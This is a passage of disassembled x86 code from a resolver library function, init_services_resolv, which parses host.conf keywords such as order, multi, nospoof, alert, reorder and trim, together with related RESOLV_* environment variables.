; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804AB7C:				; CODE XREF: init_services_resolv+1A8j
					; init_services_resolv+1ADj
		inc	ebx

loc_804AB7D:				; CODE XREF: init_services_resolv+181j
					; init_services_resolv+321j
		cmp	byte ptr [ebx],	20h
		jz	short loc_804AB7C
		cmp	byte ptr [ebx],	9
		jz	short loc_804AB7C
		push	offset asc_8067950 ; " ,;:"
		push	ebx
		call	strpbrk
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_804AB9E
		mov	byte ptr [edi],	0

loc_804AB9E:				; CODE XREF: init_services_resolv+1C1j
		push	4
		push	offset aBind	; "bind"
		push	ebx
		call	checkbuf
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804ABEC
		cmp	byte ptr [ebx+4], 0
		jz	short loc_804ABC8
		movzx	edx, byte ptr [ebx+4]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804ABEC

loc_804ABC8:				; CODE XREF: init_services_resolv+1DEj
		mov	ds:dword_8079DD4[esi*4], 1
		inc	esi
		test	byte ptr dword_807854C,	1
		jnz	loc_804ACF0
		call	res_init
		jmp	loc_804ACF0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804ABEC:				; CODE XREF: init_services_resolv+1D8j
					; init_services_resolv+1EEj
		push	5
		push	offset aHosts	; "hosts"
		push	ebx
		call	checkbuf
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804AC28
		cmp	byte ptr [ebx+5], 0
		jz	short loc_804AC16
		movzx	edx, byte ptr [ebx+5]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804AC28

loc_804AC16:				; CODE XREF: init_services_resolv+22Cj
		mov	ds:dword_8079DD4[esi*4], 2
		inc	esi
		jmp	loc_804ACF0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804AC28:				; CODE XREF: init_services_resolv+226j
					; init_services_resolv+23Cj
		push	3
		push	offset aNis	; "nis"
		push	ebx
		call	checkbuf
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804AC64
		cmp	byte ptr [ebx+3], 0
		jz	short loc_804AC52
		movzx	edx, byte ptr [ebx+3]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804AC64

loc_804AC52:				; CODE XREF: init_services_resolv+268j
		mov	ds:dword_8079DD4[esi*4], 3
		inc	esi
		jmp	loc_804ACF0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804AC64:				; CODE XREF: init_services_resolv+262j
					; init_services_resolv+278j
		push	offset aOrder	; "order"
		mov	ecx, [ebp+var_40C]
		push	ecx
		push	offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"...
		push	0Ch
		push	0Bh
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		add	esp, 10h
		mov	edx, eax
		push	edx
		push	offset unk_80787A4
		call	fprintf
		push	ebx
		push	offset aResolvSIsAnInv ; "resolv+: \"%s\" is an	invalid	keyword\n"
		push	0Dh
		push	0Bh
		mov	ecx, dword_8078F9C
		push	ecx
		call	catgets
		add	esp, 10h
		mov	edx, eax
		push	edx
		push	offset unk_80787A4
		call	fprintf
		push	offset aNis	; "nis"
		push	offset aHosts	; "hosts"
		push	offset aBind	; "bind"
		push	offset aResolvValidKey ; "resolv+: valid keywords are: %s, %s and"...
		push	0Eh
		push	0Bh
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		add	esp, 10h
		mov	edx, eax
		push	edx
		push	offset unk_80787A4
		call	fprintf
		add	esp, 30h

loc_804ACF0:				; CODE XREF: init_services_resolv+203j
					; init_services_resolv+20Ej ...
		test	edi, edi
		jz	short loc_804ACFF
		lea	ebx, [edi+1]
		test	ebx, ebx
		jnz	loc_804AB7D

loc_804ACFF:				; CODE XREF: init_services_resolv+31Aj
		test	esi, esi
		jnz	loc_804AA5C
		push	offset aOrder	; "order"
		mov	ecx, [ebp+var_40C]
		push	ecx
		push	offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"...
		push	0Ch
		push	0Bh
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		add	esp, 10h
		mov	edx, eax
		push	edx
		push	offset unk_80787A4
		call	fprintf
		push	offset aResolvSearchOr ; "resolv+: search order	not specified or "...
		push	0Fh
		push	0Bh
		mov	ecx, dword_8078F9C
		push	ecx
		call	catgets
		mov	edx, eax
		push	edx
		push	offset unk_80787A4
		call	fprintf
		add	esp, 28h
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804AD64:				; CODE XREF: init_services_resolv+13Dj
					; init_services_resolv+15Dj
		push	5
		push	offset aMulti	; "multi"
		mov	eax, [ebp+var_410]
		push	eax
		call	checkbuf
		mov	edx, eax
		add	esp, 0Ch
		test	edx, edx
		jnz	loc_804AEA8
		cmp	[ebp+var_3FB], 0
		jz	short loc_804ADA4
		movzx	edx, [ebp+var_3FB]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	loc_804AEA8

loc_804ADA4:				; CODE XREF: init_services_resolv+3B3j
		push	offset asc_806791B ; " \t"
		mov	ecx, [ebp+var_410]
		push	ecx
		call	strpbrk
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	loc_804AE9C
		cmp	byte ptr [ebx],	0
		jz	short loc_804ADE6
		mov	edx, dword_8078FA0
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804ADD0:				; CODE XREF: init_services_resolv+40Cj
		movzx	eax, byte ptr [ebx]
		test	byte ptr [edx+eax*2+1],	20h
		jz	short loc_804ADE6
		inc	ebx
		jz	loc_804AE9C
		cmp	byte ptr [ebx],	0
		jnz	short loc_804ADD0

loc_804ADE6:				; CODE XREF: init_services_resolv+3EDj
					; init_services_resolv+400j
		test	ebx, ebx
		jz	loc_804AE9C
		cmp	byte ptr [ebx],	0
		jz	loc_804AE9C
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFCh
		jnz	short loc_804AE44
		push	2
		push	offset aOn	; "on"
		push	ebx
		call	checkbuf
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804AE44
		cmp	byte ptr [ebx+2], 0
		jz	short loc_804AE32
		movzx	edx, byte ptr [ebx+2]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804AE44

loc_804AE32:				; CODE XREF: init_services_resolv+448j
		mov	dword_8078510, 1
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804AE44:				; CODE XREF: init_services_resolv+42Ej
					; init_services_resolv+442j ...
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFBh
		jnz	short loc_804AE90
		push	3
		push	offset aOff	; "off"
		push	ebx
		call	checkbuf
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804AE90
		cmp	byte ptr [ebx+3], 0
		jz	short loc_804AE7F
		movzx	edx, byte ptr [ebx+3]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804AE90

loc_804AE7F:				; CODE XREF: init_services_resolv+495j
		mov	dword_8078510, 0
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804AE90:				; CODE XREF: init_services_resolv+47Bj
					; init_services_resolv+48Fj ...
		push	offset aMulti	; "multi"
		jmp	loc_804B261
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804AE9C:				; CODE XREF: init_services_resolv+3E4j
					; init_services_resolv+403j ...
		push	offset aMulti	; "multi"
		jmp	loc_804B395
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804AEA8:				; CODE XREF: init_services_resolv+3A6j
					; init_services_resolv+3C6j
		push	7
		push	offset aNospoof	; "nospoof"
		mov	eax, [ebp+var_410]
		push	eax
		call	checkbuf
		mov	edx, eax
		add	esp, 0Ch
		test	edx, edx
		jnz	loc_804AFEC
		cmp	[ebp+var_3F9], 0
		jz	short loc_804AEE8
		movzx	edx, [ebp+var_3F9]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	loc_804AFEC

loc_804AEE8:				; CODE XREF: init_services_resolv+4F7j
		push	offset asc_806791B ; " \t"
		mov	ecx, [ebp+var_410]
		push	ecx
		call	strpbrk
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	loc_804AFE0
		cmp	byte ptr [ebx],	0
		jz	short loc_804AF2A
		mov	edx, dword_8078FA0
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804AF14:				; CODE XREF: init_services_resolv+550j
		movzx	eax, byte ptr [ebx]
		test	byte ptr [edx+eax*2+1],	20h
		jz	short loc_804AF2A
		inc	ebx
		jz	loc_804AFE0
		cmp	byte ptr [ebx],	0
		jnz	short loc_804AF14

loc_804AF2A:				; CODE XREF: init_services_resolv+531j
					; init_services_resolv+544j
		test	ebx, ebx
		jz	loc_804AFE0
		cmp	byte ptr [ebx],	0
		jz	loc_804AFE0
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFCh
		jnz	short loc_804AF88
		push	2
		push	offset aOn	; "on"
		push	ebx
		call	checkbuf
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804AF88
		cmp	byte ptr [ebx+2], 0
		jz	short loc_804AF76
		movzx	edx, byte ptr [ebx+2]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804AF88

loc_804AF76:				; CODE XREF: init_services_resolv+58Cj
		mov	dword_8078514, 1
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804AF88:				; CODE XREF: init_services_resolv+572j
					; init_services_resolv+586j ...
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFBh
		jnz	short loc_804AFD4
		push	3
		push	offset aOff	; "off"
		push	ebx
		call	checkbuf
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804AFD4
		cmp	byte ptr [ebx+3], 0
		jz	short loc_804AFC3
		movzx	edx, byte ptr [ebx+3]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804AFD4

loc_804AFC3:				; CODE XREF: init_services_resolv+5D9j
		mov	dword_8078514, 0
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804AFD4:				; CODE XREF: init_services_resolv+5BFj
					; init_services_resolv+5D3j ...
		push	offset aNospoof	; "nospoof"
		jmp	loc_804B261
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804AFE0:				; CODE XREF: init_services_resolv+528j
					; init_services_resolv+547j ...
		push	offset aNospoof	; "nospoof"
		jmp	loc_804B395
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804AFEC:				; CODE XREF: init_services_resolv+4EAj
					; init_services_resolv+50Aj
		push	5
		push	offset aAlert	; "alert"
		mov	eax, [ebp+var_410]
		push	eax
		call	checkbuf
		mov	edx, eax
		add	esp, 0Ch
		test	edx, edx
		jnz	loc_804B130
		cmp	[ebp+var_3FB], 0
		jz	short loc_804B02C
		movzx	edx, [ebp+var_3FB]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	loc_804B130

loc_804B02C:				; CODE XREF: init_services_resolv+63Bj
		push	offset asc_806791B ; " \t"
		mov	ecx, [ebp+var_410]
		push	ecx
		call	strpbrk
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	loc_804B124
		cmp	byte ptr [ebx],	0
		jz	short loc_804B06E
		mov	edx, dword_8078FA0
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804B058:				; CODE XREF: init_services_resolv+694j
		movzx	eax, byte ptr [ebx]
		test	byte ptr [edx+eax*2+1],	20h
		jz	short loc_804B06E
		inc	ebx
		jz	loc_804B124
		cmp	byte ptr [ebx],	0
		jnz	short loc_804B058

loc_804B06E:				; CODE XREF: init_services_resolv+675j
					; init_services_resolv+688j
		test	ebx, ebx
		jz	loc_804B124
		cmp	byte ptr [ebx],	0
		jz	loc_804B124
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFCh
		jnz	short loc_804B0CC
		push	2
		push	offset aOn	; "on"
		push	ebx
		call	checkbuf
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B0CC
		cmp	byte ptr [ebx+2], 0
		jz	short loc_804B0BA
		movzx	edx, byte ptr [ebx+2]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B0CC

loc_804B0BA:				; CODE XREF: init_services_resolv+6D0j
		mov	dword_8078518, 1
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B0CC:				; CODE XREF: init_services_resolv+6B6j
					; init_services_resolv+6CAj ...
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFBh
		jnz	short loc_804B118
		push	3
		push	offset aOff	; "off"
		push	ebx
		call	checkbuf
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B118
		cmp	byte ptr [ebx+3], 0
		jz	short loc_804B107
		movzx	edx, byte ptr [ebx+3]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B118

loc_804B107:				; CODE XREF: init_services_resolv+71Dj
		mov	dword_8078518, 0
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B118:				; CODE XREF: init_services_resolv+703j
					; init_services_resolv+717j ...
		push	offset aAlert	; "alert"
		jmp	loc_804B261
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B124:				; CODE XREF: init_services_resolv+66Cj
					; init_services_resolv+68Bj ...
		push	offset aAlert	; "alert"
		jmp	loc_804B395
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B130:				; CODE XREF: init_services_resolv+62Ej
					; init_services_resolv+64Ej
		push	7
		push	offset aReorder	; "reorder"
		mov	eax, [ebp+var_410]
		push	eax
		call	checkbuf
		mov	edx, eax
		add	esp, 0Ch
		test	edx, edx
		jnz	loc_804B2C8
		cmp	[ebp+var_3F9], 0
		jz	short loc_804B170
		movzx	edx, [ebp+var_3F9]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	loc_804B2C8

loc_804B170:				; CODE XREF: init_services_resolv+77Fj
		push	offset asc_806791B ; " \t"
		mov	ecx, [ebp+var_410]
		push	ecx
		call	strpbrk
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	loc_804B2BC
		cmp	byte ptr [ebx],	0
		jz	short loc_804B1B2
		mov	edx, dword_8078FA0
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804B19C:				; CODE XREF: init_services_resolv+7D8j
		movzx	eax, byte ptr [ebx]
		test	byte ptr [edx+eax*2+1],	20h
		jz	short loc_804B1B2
		inc	ebx
		jz	loc_804B2BC
		cmp	byte ptr [ebx],	0
		jnz	short loc_804B19C

loc_804B1B2:				; CODE XREF: init_services_resolv+7B9j
					; init_services_resolv+7CCj
		test	ebx, ebx
		jz	loc_804B2BC
		cmp	byte ptr [ebx],	0
		jz	loc_804B2BC
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFCh
		jnz	short loc_804B210
		push	2
		push	offset aOn	; "on"
		push	ebx
		call	checkbuf
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B210
		cmp	byte ptr [ebx+2], 0
		jz	short loc_804B1FE
		movzx	edx, byte ptr [ebx+2]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B210

loc_804B1FE:				; CODE XREF: init_services_resolv+814j
		mov	dword_807851C, 1
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B210:				; CODE XREF: init_services_resolv+7FAj
					; init_services_resolv+80Ej ...
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFBh
		jnz	short loc_804B25C
		push	3
		push	offset aOff	; "off"
		push	ebx
		call	checkbuf
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B25C
		cmp	byte ptr [ebx+3], 0
		jz	short loc_804B24B
		movzx	edx, byte ptr [ebx+3]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B25C

loc_804B24B:				; CODE XREF: init_services_resolv+861j
		mov	dword_807851C, 0
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B25C:				; CODE XREF: init_services_resolv+847j
					; init_services_resolv+85Bj ...
		push	offset aReorder	; "reorder"

loc_804B261:				; CODE XREF: init_services_resolv+4BDj
					; init_services_resolv+601j ...
		mov	ecx, [ebp+var_40C]
		push	ecx
		push	offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"...
		push	0Ch
		push	0Bh
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		add	esp, 10h
		mov	edx, eax
		push	edx
		push	offset unk_80787A4
		call	fprintf
		push	ebx
		push	offset aResolvSIsAnInv ; "resolv+: \"%s\" is an	invalid	keyword\n"
		push	0Dh
		push	0Bh
		mov	ecx, dword_8078F9C
		push	ecx
		call	catgets
		add	esp, 10h
		mov	edx, eax
		push	edx
		push	offset unk_80787A4
		call	fprintf
		add	esp, 1Ch
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B2BC:				; CODE XREF: init_services_resolv+7B0j
					; init_services_resolv+7CFj ...
		push	offset aReorder	; "reorder"
		jmp	loc_804B395
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B2C8:				; CODE XREF: init_services_resolv+772j
					; init_services_resolv+792j
		push	4
		push	offset aTrim	; "trim"
		mov	eax, [ebp+var_410]
		push	eax
		call	checkbuf
		mov	edx, eax
		add	esp, 0Ch
		test	edx, edx
		jnz	loc_804B3CC
		cmp	[ebp+var_3FC], 0
		jz	short loc_804B308
		movzx	edx, [ebp+var_3FC]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	loc_804B3CC

loc_804B308:				; CODE XREF: init_services_resolv+917j
		cmp	dword_8078520, 3
		jg	loc_804AA5C
		push	offset asc_806791B ; " \t"
		mov	ecx, [ebp+var_410]
		push	ecx
		call	strpbrk
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_804B390
		jmp	short loc_804B335
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B334:				; CODE XREF: init_services_resolv+960j
					; init_services_resolv+965j
		inc	ebx

loc_804B335:				; CODE XREF: init_services_resolv+957j
		cmp	byte ptr [ebx],	20h
		jz	short loc_804B334
		cmp	byte ptr [ebx],	9
		jz	short loc_804B334
		cmp	byte ptr [ebx],	0
		jz	short loc_804B390
		push	ebx
		mov	eax, [ebp+var_408]
		push	eax
		call	strcpy
		mov	eax, [ebp+var_408]
		mov	ecx, dword_8078520
		mov	ds:dword_807A348[ecx*4], eax
		inc	dword_8078520
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edx, ecx
		not	edx
		mov	[ebp+var_414], edx
		add	[ebp+var_408], edx
		add	esp, 8
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B390:				; CODE XREF: init_services_resolv+955j
					; init_services_resolv+96Aj
		push	offset aTrim	; "trim"

loc_804B395:				; CODE XREF: init_services_resolv+4C9j
					; init_services_resolv+60Dj ...
		mov	eax, [ebp+var_40C]
		push	eax
		push	offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"...
		push	0Ch
		push	0Bh
		mov	ecx, dword_8078F9C
		push	ecx

loc_804B3AC:				; CODE XREF: init_services_resolv+19Ej
		call	catgets
		add	esp, 10h
		mov	edx, eax
		push	edx
		push	offset unk_80787A4
		call	fprintf
		add	esp, 10h
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B3CC:				; CODE XREF: init_services_resolv+90Aj
					; init_services_resolv+92Aj
		push	offset asc_806791B ; " \t"
		mov	eax, [ebp+var_410]
		push	eax
		call	strpbrk
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_804B3E9
		mov	byte ptr [ebx],	0

loc_804B3E9:				; CODE XREF: init_services_resolv+A0Cj
		mov	ecx, [ebp+var_410]
		push	ecx
		push	offset aResolvSIsAnInv ; "resolv+: \"%s\" is an	invalid	keyword\n"
		push	0Dh
		push	0Bh
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		add	esp, 10h
		mov	edx, eax
		push	edx
		push	offset unk_80787A4
		call	fprintf
		add	esp, 0Ch
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B41C:				; CODE XREF: init_services_resolv+A3j
		mov	ds:dword_8079DD4[esi*4], 0
		mov	ecx, [ebp+var_404]
		push	ecx
		call	fclose
		add	esp, 4

loc_804B436:				; CODE XREF: init_services_resolv+70j
		push	offset aResolv_serv_or ; "RESOLV_SERV_ORDER"
		call	secure_getenv
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_804B542
		xor	esi, esi
		push	offset asc_8067950 ; " ,;:"
		push	ebx
		call	strtok
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	loc_804B542
		nop

loc_804B468:				; CODE XREF: init_services_resolv+B59j
		push	4
		push	offset aBind	; "bind"
		push	ebx
		call	checkbuf
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B4B0
		cmp	byte ptr [ebx+4], 0
		jz	short loc_804B492
		movzx	edx, byte ptr [ebx+4]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B4B0

loc_804B492:				; CODE XREF: init_services_resolv+AA8j
		mov	ds:dword_8079DD4[esi*4], 1
		inc	esi
		test	byte ptr dword_807854C,	1
		jnz	short loc_804B51E
		call	res_init
		jmp	short loc_804B51E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B4B0:				; CODE XREF: init_services_resolv+AA2j
					; init_services_resolv+AB8j
		push	5
		push	offset aHosts	; "hosts"
		push	ebx
		call	checkbuf
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B4E8
		cmp	byte ptr [ebx+5], 0
		jz	short loc_804B4DA
		movzx	edx, byte ptr [ebx+5]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B4E8

loc_804B4DA:				; CODE XREF: init_services_resolv+AF0j
		mov	ds:dword_8079DD4[esi*4], 2
		jmp	short loc_804B51D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B4E8:				; CODE XREF: init_services_resolv+AEAj
					; init_services_resolv+B00j
		push	3
		push	offset aNis	; "nis"
		push	ebx
		call	checkbuf
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B51E
		cmp	byte ptr [ebx+3], 0
		jz	short loc_804B512
		movzx	edx, byte ptr [ebx+3]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B51E

loc_804B512:				; CODE XREF: init_services_resolv+B28j
		mov	ds:dword_8079DD4[esi*4], 3

loc_804B51D:				; CODE XREF: init_services_resolv+B0Dj
		inc	esi

loc_804B51E:				; CODE XREF: init_services_resolv+ACDj
					; init_services_resolv+AD4j ...
		push	offset asc_8067950 ; " ,;:"
		push	0
		call	strtok
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	loc_804B468
		mov	ds:dword_8079DD4[esi*4], 0

loc_804B542:				; CODE XREF: init_services_resolv+A6Fj
					; init_services_resolv+A89j
		push	offset aResolv_spoof_c ; "RESOLV_SPOOF_CHECK"
		call	secure_getenv
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_804B626
		push	4
		push	offset aWarn	; "warn"
		push	ebx
		call	checkbuf
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B59C
		cmp	byte ptr [ebx+4], 0
		jz	short loc_804B583
		movzx	edx, byte ptr [ebx+4]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B59C

loc_804B583:				; CODE XREF: init_services_resolv+B99j
		mov	dword_8078514, 1
		mov	dword_8078518, 1
		jmp	loc_804B626
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B59C:				; CODE XREF: init_services_resolv+B93j
					; init_services_resolv+BA9j
		push	3
		push	offset aOff	; "off"
		push	ebx
		call	checkbuf
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B5DC
		cmp	byte ptr [ebx+3], 0
		jz	short loc_804B5C6
		movzx	edx, byte ptr [ebx+3]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B5DC

loc_804B5C6:				; CODE XREF: init_services_resolv+BDCj
		mov	dword_8078514, 0
		mov	dword_8078518, 0
		jmp	short loc_804B626
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B5DC:				; CODE XREF: init_services_resolv+BD6j
					; init_services_resolv+BECj
		push	8
		push	offset aWarnOff	; "warn	off"
		push	ebx
		call	checkbuf
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B61C
		cmp	byte ptr [ebx+8], 0
		jz	short loc_804B606
		movzx	edx, byte ptr [ebx+8]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B61C

loc_804B606:				; CODE XREF: init_services_resolv+C1Cj
		mov	dword_8078514, 1
		mov	dword_8078518, 0
		jmp	short loc_804B626
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B61C:				; CODE XREF: init_services_resolv+C16j
					; init_services_resolv+C2Cj
		mov	dword_8078514, 1

loc_804B626:				; CODE XREF: init_services_resolv+B7Bj
					; init_services_resolv+BBFj ...
		push	offset aResolv_multi ; "RESOLV_MULTI"
